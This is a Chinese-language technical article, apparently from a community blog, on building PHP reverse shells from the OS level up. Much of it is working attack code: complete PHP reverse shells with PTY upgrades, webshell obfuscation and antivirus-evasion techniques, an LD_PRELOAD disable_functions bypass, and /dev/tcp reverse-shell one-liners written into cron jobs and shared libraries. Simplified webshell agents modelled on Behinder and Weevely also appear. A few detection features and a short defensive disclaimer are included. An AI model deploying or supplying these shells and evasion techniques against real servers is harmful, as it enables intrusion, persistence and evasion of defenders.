0x00 前言

在 Web 安全领域,PHP 作为服务端最广泛使用的脚本语言之一,频繁出现在攻击链的关键节点。当攻击者通过文件上传、反序列化、模板注入、变量覆盖等漏洞获得 PHP 代码执行能力后,面临的核心问题始终是:

如何将受限的、一次性的代码执行,转化为稳定、持久且具备完整交互能力的远程 Shell?

本文将从操作系统原理出发,深入分析 PHP 反弹 Shell 的技术体系,涵盖进程模型、文件描述符、伪终端、IO 转发等底层机制,并结合具体的代码实现和对抗技术,构建完整的知识框架。


0x01 理论基石:理解操作系统层面的 Shell

在深入 PHP 实现之前,必须先理解一个完整的交互式 Shell 在操作系统层面究竟由哪些组件构成。

1.1 进程模型:fork 与 exec 的协作

Linux 中,所有用户态进程都源于 fork() 系统调用。fork() 复制当前进程,创建一个几乎完全相同的子进程:

#include <unistd.h>
pid_t pid = fork();
if (pid == 0) {
    // 子进程
    execl("/bin/bash", "bash", NULL);
} else {
    // 父进程,pid 为子进程 PID
}

execve() 系列函数则用新的程序映像替换当前进程的代码段、数据段和堆栈:

fork()

execve(/bin/bash)

父进程
PID=1000

子进程
PID=2000

bash 进程
PID=2000

关键理解

  • fork() 复制了文件描述符表,因此子进程继承了父进程打开的 Socket、文件、管道
  • execve() 不改变 PID,但完全替换了进程的地址空间
  • 子进程的 PPID(父进程 ID)仍然是父进程的 PID,父进程可以通过 wait() 回收子进程

这意味着:PHP 进程可以通过 fork() 创建子进程,再通过 execve() 将其替换为 Shell,而 PHP 持有的 Socket 文件描述符在子进程中仍然有效——这就是 PHP 反弹 Shell 最底层的可行性基础。

1.2 文件描述符与标准流

Unix/Linux 遵循"一切皆文件"的设计哲学。每个进程启动时,内核自动分配三个标准的文件描述符:

文件描述符 0 → 标准输入(stdin)
文件描述符 1 → 标准输出(stdout)
文件描述符 2 → 标准错误(stderr)

当 PHP 通过 fsockopen() 创建一个 TCP 连接时,内核分配一个新的文件描述符(例如 fd=5)。dup2() 系统调用可以复制文件描述符,并强制覆盖标准流:

dup2(sock_fd, 0);  // 将 stdin 重定向到 Socket
dup2(sock_fd, 1);  // 将 stdout 重定向到 Socket
dup2(sock_fd, 2);  // 将 stderr 重定向到 Socket

这就是所有反弹 Shell 的核心原理

TCP

dup2 重定向

交互

远程端

Socket fd=5

stdin/stdout/stderr

/bin/bash

1.3 交互式 Shell 的必要条件

一个 Shell 要支持交互式操作,需要满足三个条件:

条件一:标准输入是终端(TTY)

Bash 通过 isatty(STDIN_FILENO) 判断是否运行在终端中。如果是,则:

  • 显示提示符($#
  • 启用作业控制(Ctrl+Z 挂起、fg/bg
  • 处理信号(SIGINT、SIGTSTP)
  • 启用命令历史

如果不是终端,Bash 以非交互模式运行,行为受到限制。

条件二:进程组和会话

Shell 需要成为进程组组长和会话首进程,才能管理子进程(如 vimtop)的终端控制。

会话(Session)

进程组(PGID)

Shell 进程

子进程 1

子进程 2

条件三:终端信号处理

交互式终端需要处理:

  • SIGINT(Ctrl+C):中断前台进程
  • SIGTSTP(Ctrl+Z):挂起前台进程
  • SIGQUIT(Ctrl+\):退出前台进程
  • SIGWINCH:窗口大小变化

这些信号由终端驱动产生,通过进程组广播。

这就是为什么简单的 system('/bin/sh') 无法获得交互式 Shell——它缺失了终端环境。需要 PTY 来模拟。

1.4 终端、TTY 与 PTY 的本质

物理终端时代

键盘 → UART 串口 → TTY 驱动 → Shell
显示器 ← UART 串口 ← TTY 驱动 ← Shell

TTY(Teletype)驱动负责:

  • 字符处理(回显、行编辑、控制字符转义)
  • 信号生成(根据特殊字符发送信号)
  • 线路规程(line discipline)

虚拟终端时代

SSH 客户端

PTY 主端(Master)

TTY 驱动

PTY 从端(Slave)

Shell

PTY(Pseudo Terminal,伪终端)由一对设备组成:

  • 主端(Master):在用户态进程(如 SSH 服务端)中,负责读取/写入
  • 从端(Slave):在内核中,表现为一个标准的 TTY 设备,Shell 可以像操作真实终端一样操作它

关键区别:

特征 普通管道(Pipe) PTY
支持信号传递
支持终端控制字符
支持窗口大小调整
isatty() 识别
作业控制

因此,PTY 是实现交互式 Shell 的关键基础设施。在 PHP 中,PTY 的创建由 posix_openpt() 和相关函数实现。


0x02 PHP 进程控制 API 的底层实现

理解 PHP 的进程控制函数,实际上是在理解 libc 的封装。

2.1 system() / exec() / shell_exec() 的演进

PHP 函数 底层系统调用 是否创建子进程 是否捕获输出
system() fork + exec + wait 直接输出到 stdout
exec() fork + exec + wait 返回最后一行
shell_exec() fork + exec + wait + 管道 返回全部输出
passthru() fork + exec + wait 直接输出到 stdout(二进制)
popen() fork + exec + 单向管道 返回文件指针
proc_open() fork + exec + 多管道 精细控制 stdin/stdout/stderr

2.2 proc_open 的结构体设计

proc_open() 在 PHP 源码中的实现(简化):

// ext/standard/proc_open.c
PHP_FUNCTION(proc_open) {
    char *command;
    zval *descriptors;
    zval *pipes = NULL;
    // ...
    
    // 解析描述符
    // 创建管道
    // fork()
    // 子进程中重定向文件描述符并执行 execve()
    // 父进程中返回管道资源
}

proc_open() 返回的进程句柄包含了:

$process = proc_open($cmd, $descriptors, $pipes);
// $process 是一个资源,包含子进程 PID、管道文件指针等

2.3 文件描述符传递的本质

为什么 proc_open()$descriptors 可以接受任意 stream 资源?

PHP 的 stream 资源底层都有一个文件描述符(fd)。proc_open()fork() 之后、execve() 之前,会调用 dup2() 将子进程的 stdin/stdout/stderr 重定向到这些文件描述符:

// 伪代码:子进程中的操作
dup2(fd_of_descriptors[0], 0);  // stdin
dup2(fd_of_descriptors[1], 1);  // stdout
dup2(fd_of_descriptors[2], 2);  // stderr

这使得任何 PHP stream(文件、Socket、管道)都可以作为子进程的输入输出。

proc_open

持有 Socket

dup2 重定向

PHP 进程

/bin/sh 的 stdin/stdout/stderr

TCP 连接


0x03 PHP Socket 编程的底层原理

3.1 BSD Socket 与 PHP Stream 的映射

PHP 的 Socket 函数是对 BSD Socket API 的封装:

PHP 函数 BSD Socket API 说明
fsockopen() socket() + connect() 创建 TCP/UDP 连接
stream_socket_server() socket() + bind() + listen() 创建服务端 Socket
stream_socket_accept() accept() 接受连接
fread() / fwrite() recv() / send() 读写数据
stream_select() select() / poll() IO 多路复用

fsockopen() 在 PHP 内部调用 POSIX socket() 创建 Socket,然后 connect() 建立连接,最后包装为 PHP stream 资源。

3.2 TCP 三次握手与 PHP 的关系

"远程服务端" "操作系统内核" "PHP (客户端)" "远程服务端" "操作系统内核" "PHP (客户端)" "三次握手完成" "socket() → fd=5" "connect(fd=5, 192.168.1.100:4444)" "SYN" "SYN+ACK" "ACK" "connect 返回成功"

PHP 的 connect() 返回后,TCP 连接已经建立。此后通过 fwrite() 发送数据、fread() 接收数据。

3.3 Socket 的阻塞与非阻塞行为

默认情况下,PHP 的 Socket stream 是阻塞的:

$data = fread($sock, 1024);  // 如果没有数据,阻塞等待

阻塞模式的问题:

  • 如果远程端不发数据,fread() 会一直等待
  • 如果 Shell 无输出,同样会阻塞
  • 无法同时处理多个数据流向

非阻塞模式通过 stream_set_blocking($sock, false) 设置,配合 stream_select() 实现事件驱动:

stream_set_blocking($sock, false);
stream_set_blocking($pty, false);

while (true) {
    $read = [$sock, $pty];
    if (stream_select($read, $write, $except, null) > 0) {
        // 有数据可读
    }
}

stream_select() 对应 Linux 的 select() 系统调用,允许进程同时监控多个文件描述符的 IO 事件。


0x04 PHP 实现 PTY 的完整理论

4.1 PTY 在 Linux 内核中的实现

Linux 的 PTY 实现基于 Unix 98 标准:

// 创建 PTY
int master_fd = open("/dev/ptmx", O_RDWR);
// 授权从端
grantpt(master_fd);
// 解锁从端
unlockpt(master_fd);
// 获取从端路径
char *slave_path = ptsname(master_fd);
// 子进程打开从端
int slave_fd = open(slave_path, O_RDWR);

内核数据结构:

写入

TTY 驱动

字符处理

读取

用户态进程
PHP

PTY 主端
struct tty_struct

线路规程
line discipline

PTY 从端
struct tty_struct

Shell 进程

/dev/ptmx 是 PTY 主端的复用设备,每次 open() 创建一个新的 PTY 对。主端在用户态可见,从端在 /dev/pts/ 目录下。

4.2 posix_* 系列函数的理论机制

PHP 的 posix_openpt() 直接调用 libc 的同名函数,最终触发内核的 PTY 创建。

posix_openpt()

open(/dev/ptmx)

内核分配 PTY 对

返回主端 fd

posix_grantpt() 设置权限

posix_unlockpt() 解锁从端

posix_ptsname() 返回从端路径

posix_grantpt() 修改从端设备的权限,使得子进程可以打开它。posix_unlockpt() 解锁从端,允许子进程真正使用。

4.3 PTY 中的数据流

有了 PTY 之后,数据流变为:

命令

fwrite

TTY 驱动处理

read

输出

TTY 驱动处理

fread

响应

远程端

Socket

PTY 主端

PTY 从端

Shell

TTY 驱动在此过程中执行:

  • 输入处理:行编辑、字符回显、特殊字符识别(Ctrl+C 发送 SIGINT)
  • 输出处理:制表符展开、换行转换(LF→CRLF)
  • 信号转发:将键盘生成的信号转发给前台进程组

0x05 工程实现:完整的 PHP 反弹 Shell

5.1 基础实现:Socket + proc_open

这是最稳定的纯 PHP 实现,不依赖任何外部工具:

<?php
// 配置
$ip = '192.168.1.100';
$port = 4444;

// 1. 建立 TCP 连接
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    die("Socket connect failed: $errstr ($errno)\n");
}

// 2. 启动 Shell,将 stdin/stdout/stderr 重定向到 Socket
$descriptors = [
    0 => $sock,  // stdin
    1 => $sock,  // stdout
    2 => $sock   // stderr
];

$process = proc_open('/bin/sh', $descriptors, $pipes);

// 3. 等待子进程结束
while (proc_get_status($process)['running']) {
    usleep(100000); // 100ms
}

proc_close($process);
?>

理论分析

  • fsockopen() 创建 TCP 连接,获得 stream 资源
  • proc_open() 创建子进程,将所有标准流重定向到 Socket
  • 子进程执行 /bin/sh,所有输入输出通过 Socket 传输

局限性

  • /bin/sh 是非交互模式(isatty() 返回 false)
  • 无提示符,无作业控制
  • 无法运行 vimtopssh 等需要终端的程序
  • 信号处理不完整

5.2 中级实现:Socket + PTY + proc_open

使用 PTY 获得完整的交互式终端:

<?php
$ip = '192.168.1.100';
$port = 4444;

// 1. 创建 TCP 连接
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) die("Connect failed\n");

// 2. 分配 PTY
$pty = posix_openpt();
if (!$pty) die("posix_openpt failed\n");

posix_grantpt($pty);   // 授权从端
posix_unlockpt($pty);  // 解锁从端
$slave_path = posix_ptsname($pty);

// 3. 打开从端作为子进程的终端
$slave = fopen($slave_path, 'r+');
if (!$slave) die("Open slave failed\n");

// 4. 启动交互式 Shell
$descriptors = [
    0 => $slave,
    1 => $slave,
    2 => $slave
];

$process = proc_open(
    '/bin/bash -i',
    $descriptors,
    $pipes,
    null,           // 工作目录
    []              // 环境变量
);

if (!is_resource($process)) die("proc_open failed\n");

// 5. 设置非阻塞模式
stream_set_blocking($sock, false);
stream_set_blocking($pty, false);

// 6. 事件驱动 IO 转发
while (true) {
    $read = [$sock, $pty];
    $write = [];
    $except = [];

    // 监控可读事件,超时为 1 秒
    if (stream_select($read, $write, $except, 1) === false) {
        break;
    }

    // 处理 Socket 输入:远程端发来命令
    if (in_array($sock, $read)) {
        $data = fread($sock, 4096);
        if ($data === false || $data === '') break;
        fwrite($pty, $data);
        fflush($pty);
    }

    // 处理 PTY 输出:Shell 产生输出
    if (in_array($pty, $read)) {
        $data = fread($pty, 4096);
        if ($data === false || $data === '') break;
        fwrite($sock, $data);
        fflush($sock);
    }

    // 检查子进程是否还在运行
    $status = proc_get_status($process);
    if (!$status['running']) break;
}

// 清理资源
proc_close($process);
fclose($slave);
fclose($sock);
?>

关键改进

组件 作用
posix_openpt() 创建 PTY 主从设备对
posix_grantpt() 设置从端权限,允许子进程打开
posix_unlockpt() 解锁从端
posix_ptsname() 获取从端设备路径
fopen($slave_path) 打开从端,供子进程使用
stream_select() 非阻塞 IO 多路复用
/bin/bash -i 交互模式启动

5.3 高级实现:多会话管理与进程组

对于需要同时管理多个 Shell 的场景,需要使用进程组和会话管理:

<?php
// 在子进程中设置进程组
$sid = posix_setsid();
if ($sid < 0) die("setsid failed\n");

// 设置前台进程组
if (posix_tcgetpgrp($slave_fd) !== $sid) {
    posix_tcsetpgrp($slave_fd, $sid);
}

// 忽略终端信号,防止 PHP 进程收到 SIGINT
pcntl_signal(SIGINT, SIG_IGN);
pcntl_signal(SIGTSTP, SIG_IGN);
pcntl_signal(SIGQUIT, SIG_IGN);

进程组管理器的架构

PHP 主进程
(会话首进程)

Shell 子进程 1
(进程组 A)

Shell 子进程 2
(进程组 B)

Shell 子进程 3
(进程组 C)

vim(前台)

top


0x06 IO 转发模型:从阻塞到事件驱动

6.1 阻塞 IO 模型

最简单的实现是顺序读写:

while (true) {
    $cmd = fread($sock, 1024);
    fwrite($pty, $cmd);
    $out = fread($pty, 1024);
    fwrite($sock, $out);
}

问题

  • fread($sock) 阻塞,如果远程端不发送数据,整个循环卡住
  • 如果 Shell 主动输出(如 ping 的持续输出),需要等待用户输入才能读取
  • 无法处理双向同时通信

6.2 非阻塞轮询模型

stream_set_blocking($sock, false);
stream_set_blocking($pty, false);

while (true) {
    $data = fread($sock, 4096);
    if ($data) fwrite($pty, $data);
    
    $data = fread($pty, 4096);
    if ($data) fwrite($sock, $data);
    
    usleep(1000);
}

问题

  • CPU 空转,浪费资源
  • 延迟不可控

6.3 IO 多路复用(select/poll/epoll)

while (true) {
    $read = [$sock, $pty];
    $write = [];
    $except = [];
    
    // 阻塞等待任一 fd 可读
    $num = stream_select($read, $write, $except, null);
    if ($num === false) break;
    
    foreach ($read as $stream) {
        $data = fread($stream, 4096);
        if ($data === false || $data === '') break 2;
        
        if ($stream === $sock) {
            fwrite($pty, $data);
        } else {
            fwrite($sock, $data);
        }
    }
}

优势

  • 事件驱动,无 CPU 空转
  • 及时响应
  • 支持大量并发连接

理论对应

PHP 函数 系统调用 说明
stream_select() select() 支持最多 1024 个 fd
stream_select() 配合 stream_set_blocking() poll() 无 fd 数量限制
swoole / reactphp epoll() 高性能事件驱动

0x07 代码混淆与免杀技术理论

重要说明:本节从安全研究角度分析 WebShell 的混淆原理与检测对抗机制,旨在帮助安全人员理解攻击手法以提升防御能力。所有示例代码仅用于技术原理说明。

7.1 混淆的理论模型

混淆的本质是:

改变代码的语法表现形式,但不改变其语义逻辑。

形式化定义:给定程序 P,混淆变换 T 满足:

语义等价:∀ input,T(P)(input) = P(input)
语法差异:T(P) 与 P 在语法结构上存在显著差异

常见的混淆维度:

混淆维度

词法混淆
变量名/函数名替换

编码混淆
Base64/压缩/加密

控制流混淆
插入死代码/条件分支

数据混淆
字符串拆分/动态构造

7.2 字符串编码混淆原理

Base64 编码

将原始代码编码为 Base64 字符串,运行时解码执行。

<?php
// 原始代码
// $sock = fsockopen('192.168.1.100', 4444);

// 混淆后
$code = 'JHNvY2sgPSBmc29ja29wZW4oJzE5Mi4xNjguMS4xMDAnLCA0NDQ0KTs=';
eval(base64_decode($code));
?>

多层编码

<?php
$code = 'eJxLtDK0qs60MrQyMDIxsTSzMDcxNzUxSYSIloB5RiYKWm4KZkbmRoYGSloK2kC+QWJeaWpKampWqkJ8UmlyRn5OKgCgFBJc';
eval(gzuncompress(base64_decode($code)));
?>

理论分析

检测方式 原理 对抗方法
静态字符串匹配 搜索 eval( + base64_decode( 使用自定义解码函数
熵值分析 编码字符串熵值高 加入随机垃圾字符降低熵
AST 特征 识别 eval 的调用模式 使用动态函数名,如 $func = 'eval'; $func(...);

7.3 动态函数调用

PHP 支持通过变量名调用函数:

<?php
$func1 = 'fsock';
$func2 = 'open';
$socket_func = $func1 . $func2;  // 'fsockopen'

$func3 = 'proc_';
$func4 = 'open';
$proc_func = $func3 . $func4;    // 'proc_open'

$sock = $socket_func($ip, $port);
$proc = $proc_func('/bin/sh', [$sock, $sock, $sock], $pipes);
?>

原理:PHP 引擎在执行函数调用时,先解析变量值,然后将值作为函数名在函数表中查找。

7.4 控制流混淆

插入无意义的分支和循环,干扰静态分析:

<?php
// 干扰代码
$dummy = 0;
for ($i = 0; $i < 100; $i++) {
    if ($i % 2 == 0) {
        $dummy += $i;
    } else {
        $dummy -= $i;
    }
}

// 实际逻辑
if ($dummy > -1000) {  // 总是成立
    $sock = fsockopen('192.168.1.100', 4444);
    // ...
}
?>

7.5 动态代码加载

将载荷以加密形式存储在外部资源中:

<?php
// 从图片 EXIF 中提取载荷
$img = imagecreatefromjpeg('avatar.jpg');
$payload = exif_read_data($img)['UserComment'];
eval($payload);

// 从 HTTP Header 中获取
$payload = base64_decode($_SERVER['HTTP_X_PAYLOAD']);
eval($payload);

// 从 Cookie 中获取
$payload = base64_decode($_COOKIE['session']);
eval($payload);
?>

7.6 冰蝎的混淆架构分析

冰蝎(Behinder)的免杀设计体现了系统化的混淆思想:

第一层:通信加密

AES-128-ECB 加密 + Base64 编码
密钥动态协商(基于时间戳 + 固定盐)

第二层:代码分离

静态文件:仅包含解密 + 类加载逻辑
功能代码:以加密字节码形式传输

第三层:动态类加载

// 简化版的动态加载逻辑
$payload = base64_decode($_POST['data']);
$decrypted = openssl_decrypt($payload, 'AES-128-ECB', $key);
$obj = unserialize($decrypted);
$obj->execute();

第四层:反射调用

// 使用反射调用任意方法
$reflection = new ReflectionClass($className);
$method = $reflection->getMethod($methodName);
$method->setAccessible(true);
$method->invoke($instance, $params);

0x08 disable_functions 绕过原理

8.1 限制的本质

disable_functions 是 PHP 配置指令,用于禁用指定的函数:

disable_functions = system,exec,shell_exec,passthru,proc_open,popen,pcntl_exec

其实现机制:PHP 在初始化函数表时,检查 disable_functions 列表,如果函数名在列表中,则该函数的入口指针被设置为 NULL。

// PHP 源码中的逻辑(简化)
if (zend_hash_exists(&disabled_functions, function_name)) {
    function->handler = NULL;  // 调用时直接报错
}

这意味着:

  • disable_functions 只影响 PHP 层面的函数调用
  • 不限制系统层面的能力(如文件写入、网络连接)
  • 不限制通过其他间接方式执行命令

8.2 LD_PRELOAD 绕过理论

LD_PRELOAD 是 Linux 动态链接器的环境变量,指定优先加载的共享库。

绕过原理:

PHP 调用 mail()

fork() 子进程

execve() 执行 sendmail

动态链接器加载 LD_PRELOAD 指定的库

恶意库中的函数覆盖标准函数

执行系统命令

实现示例:

// evil.c - 编译为共享库
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int sendmail(const char *to, const char *from, 
             const char *subject, const char *body) {
    // 在 sendmail 被调用时执行命令
    system("bash -i >& /dev/tcp/192.168.1.100/4444 0>&1");
    return 0;
}
// PHP 触发代码
putenv("LD_PRELOAD=/tmp/evil.so");
mail("", "", "", "");

8.3 利用文件操作函数

如果禁用了所有命令执行函数,但仍然可以读写文件:

<?php
// 写入 webshell
file_put_contents('/var/www/html/cmd.php', '<?php system($_GET["c"]); ?>');

// 或写入 .htaccess 启用 AutoPrepend
file_put_contents('/var/www/html/.htaccess', 
    'php_value auto_prepend_file /tmp/evil.php');

// 或写入 cron 任务
file_put_contents('/etc/cron.d/evil', 
    '* * * * * www-data /bin/bash -c "bash -i >& /dev/tcp/192.168.1.100/4444 0>&1"');
?>

8.4 PHP-FPM 绕过

如果可以通过本地端口访问 PHP-FPM:

<?php
// 构造 FastCGI 请求,执行任意命令
$sock = fsockopen('127.0.0.1', 9000);
// 发送 FastCGI 请求
// 利用环境变量 PHP_ADMIN_VALUE 或 PHP_VALUE 覆盖 disable_functions
?>

0x09 主流工具原理对比

9.1 技术架构对比

维度 Weevely 冰蝎(Behinder) 哥斯拉(Godzilla) 蚁剑(AntSword)
通信协议 HTTP + Base64 HTTP + AES HTTP + AES/RSA HTTP + 自定义
密钥协商 固定密钥 动态协商(RSA/AES) 动态协商 固定/动态
流量加密 弱(Base64) AES-128-ECB AES-256-CBC XOR/Base64/AES
混淆技术
扩展能力 模块 插件 插件 插件
会话管理

9.2 Weevely 通信协议细节

请求格式:

POST /shell.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

p=Q29tbWFuZAo%3D&

响应格式:

HTTP/1.1 200 OK
Content-Type: text/plain

UmVzdWx0Cg%3D%3D

Agent 核心逻辑:

<?php
$p = $_POST['p'];
if ($p) {
    $cmd = base64_decode(str_replace(' ', '+', $p));
    $result = `$cmd`;
    echo base64_encode($result);
}
?>

检测特征

  • 参数名固定为 p
  • 使用 base64_decode
  • 使用反引号或 system() 执行命令

9.3 冰蝎通信协议细节

首次连接(获取密钥):

GET /shell.php?pass=abc HTTP/1.1

响应:

e45e329feb5d925b  // 16 字节密钥,MD5(uniqid()) 的前 16 位

后续请求

POST /shell.php?pass=abc HTTP/1.1
Content-Type: application/octet-stream
Content-Length: 128

[AES 加密的载荷 + 16 字节随机前缀]

服务端逻辑(简化):

<?php
session_start();
$key = $_SESSION['k'] ?? md5(uniqid());
$_SESSION['k'] = $key;

$data = file_get_contents('php://input');
$decrypted = openssl_decrypt(
    substr($data, 16),  // 去掉 16 字节随机前缀
    'AES-128-ECB',
    $key
);
eval($decrypted);
?>

检测特征

  • 请求头 Content-Type: application/octet-stream
  • 请求 Body 长度固定为 16 的倍数
  • 响应 Body 同样为 16 的倍数
  • User-Agent 特定版本特征
Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐